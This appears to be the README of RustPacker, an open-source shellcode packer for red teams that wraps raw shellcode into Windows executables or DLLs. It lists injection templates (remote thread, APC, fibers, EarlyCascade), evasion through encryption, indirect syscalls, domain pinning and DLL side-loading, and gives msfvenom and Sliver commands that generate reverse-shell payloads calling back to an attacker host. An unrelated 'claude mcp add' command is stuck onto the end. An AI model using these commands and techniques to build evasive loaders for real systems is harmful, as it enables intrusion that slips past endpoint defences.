RustPacker is a template-based shellcode packer designed for penetration testers and red team operators. It converts raw shellcode into Windows executables or DLLs using various injection techniques and evasion methods.
You need one of the following container runtimes installed:
| Platform | Podman (Recommended) | Docker |
|---|---|---|
| Linux | sudo dnf install podman or sudo apt install podman |
Install Docker Engine |
| Windows | Podman Desktop | Docker Desktop |
| macOS | brew install podman && podman machine init && podman machine start |
Docker Desktop |
No Rust toolchain needed — everything runs inside the container:
# Clone and build the all-in-one container
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
Place your shellcode in the shared/ folder and run:
# Linux / macOS
podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker \
-f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
# Windows (PowerShell)
podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker `
-f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
# Windows (cmd.exe)
podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^
-f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
The compiled binary is located in shared/output_<timestamp>/target/x86_64-pc-windows-gnu/release/ with a randomized filename:
[+] Source binary has been renamed to: "shared/output_1234567890/target/x86_64-pc-windows-gnu/release/AbCdEfGh.exe"
Linux / macOS (bash/zsh):
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe
Windows (PowerShell):
function rustpacker { podman run --rm -v "${PWD}/shared:/usr/src/RustPacker/shared:z" rustpacker RustPacker @args }
rustpacker -f shared\payload.raw -i syscrt -e aes -b exe -t explorer.exe
If you already have Rust installed, you can run RustPacker directly. It will automatically detect Podman or Docker and use a container for cross-compilation:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release
# Linux / macOS
cargo run -- -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
# Windows (PowerShell)
cargo run -- -f shared\your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
The first run builds the rustpacker-builder image (once only). Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds.
Option A — Podman Desktop (Recommended):
1. Download and install Podman Desktop
2. Launch Podman Desktop and follow the guided setup to initialize a Podman machine
3. Verify installation: podman --version
Option B — Docker Desktop:
1. Download and install Docker Desktop
2. Enable WSL 2 backend during installation (recommended)
3. Verify installation: docker --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile
# Place your shellcode in the shared folder
copy C:\path\to\payload.raw shared\
# Pack with AES encryption and remote thread injection (PowerShell)
podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker `
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
# Pack with AES encryption and remote thread injection (cmd.exe)
podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
Usage: RustPacker -f <FILE> -b <FORMAT> -i <TEMPLATE> -e <ENCRYPTION> [OPTIONS]
Required:
-f <FILE> Path to the raw shellcode file
-i <TEMPLATE> Injection template: ntapc, ntcrt, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade
-e <ENCRYPTION> Encryption method: xor, aes, uuid
-b <FORMAT> Output binary format: exe, dll
Optional:
-t <PROCESS> Target process to inject into (default: dllhost.exe, CRT templates only)
-s <DOMAIN> Domain pinning: only execute on the specified domain name
-p <DLL_PATH> DLL proxying: path to legitimate DLL to proxy, placed in shared/ (requires -b dll, self-injection templates only)
-o <PATH> Custom output path for the resulting binary
-h Print help
-V Print version
Metasploit (msfvenom):
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.raw
Sliver:
# In Sliver console
generate --mtls 192.168.1.100:443 --format shellcode --os windows --evasion
# Then copy the generated .bin file to the shared/ folder
The examples below use the
rustpackeralias defined in the Quick Start section. Replace it with the fullpodman run ...command if you haven't set up the alias.
Basic EXE with AES encryption (remote injection into notepad):
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
DLL with XOR encryption (self-injection via APC):
rustpacker -f shared/payload.raw -i ntapc -e xor -b dll
Using indirect syscalls (remote injection into explorer):
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe
UUID encoding (shellcode hidden as UUID strings):
rustpacker -f shared/payload.raw -i ntcrt -e uuid -b exe -t notepad.exe
With domain pinning (only detonates on MYDOMAIN):
rustpacker -f shared/payload.raw -i winfiber -e aes -b exe -s MYDOMAIN
Custom output path:
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -o shared/my_binary.exe
DLL proxying (side-loading):
# 1. Copy the DLL you want to proxy into the shared/ folder (required for container access)
cp /mnt/c/Windows/System32/version.dll shared/ # from WSL
# or: copy C:\Windows\System32\version.dll shared\ # from Windows
# 2. Proxy version.dll — compatible with self-injection templates only (ntapc, winfiber, ntfiber, sysfiber)
rustpacker -f shared/payload.raw -i ntfiber -e aes -b dll -p shared/version.dll
The proxy DLL forwards all exports to the renamed original (version_orig.dll) and executes your shellcode on load via DllMain. Deploy by placing the proxy DLL alongside the target application with the original DLL renamed (e.g., version.dll → version_orig.dll).
Note: The
-ppath must be accessible from within the container. Since onlyshared/is volume-mounted, always place the DLL to proxy insideshared/.
These templates inject shellcode into a remote process. Use -t <process_name> to specify the target (default: dllhost.exe).
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
wincrt |
High (Windows-rs) | ❌ | ❌ | CreateRemoteThread via the official Windows crate |
ntcrt |
Low (ntapi) | ❌ | ✅ | NtCreateThreadEx via dynamic NT API resolution |
syscrt |
Syscall | ✅ | ❌ | NtCreateThreadEx via indirect syscalls |
earlycascade |
Low (winapi) | ❌ | ❌ | EarlyCascade injection via shim engine callback hijacking |
These templates execute shellcode within the current process. No target process needed.
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
ntapc |
Low (ntapi) | ❌ | ✅ | Queue APC to current thread via dynamic NT API resolution |
winfiber |
High (windows-sys) | ❌ | ❌ | Fiber-based execution via Windows API |
ntfiber |
Low (ntapi + windows-sys) | ❌ | ✅ | Fiber-based execution via dynamic NT API resolution |
sysfiber |
Syscall (ntapi + windows-sys) | ✅ | ❌ | Fiber-based execution via indirect syscalls |
RustPacker implements several evasion techniques:
nt* templates): NT API functions are resolved at runtime via GetProcAddress with XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table.syscrt, sysfiber templates)⚠️ Breaking Change: Since RWX (PAGE_EXECUTE_READWRITE) is no longer used, self-modifying / dynamic shellcode is not supported. Only static shellcode payloads are compatible. Most C2 frameworks (Metasploit, Sliver, Cobalt Strike, Havoc) generate static shellcode by default — this should not affect typical usage.
RustPacker uses a two-stage approach:
cargo build if no container runtime is available.This means you can work from any OS — the heavy lifting (cross-compilation with mingw) always happens inside a reproducible Linux container.
If you prefer to compile without containers (Linux only):
# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnu
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -f shared/payload.raw -i ntcrt -e xor -b exe -t explorer.exe
When no container runtime is detected, RustPacker falls back to local compilation automatically.
We recommend using Podman instead of Docker for security reasons: - Rootless containers by default - No daemon running as root - Better security isolation
Contributions are welcome! Here's how you can help:
$ claude mcp add RustPacker \
-- python -m otcore.mcp_server <graph>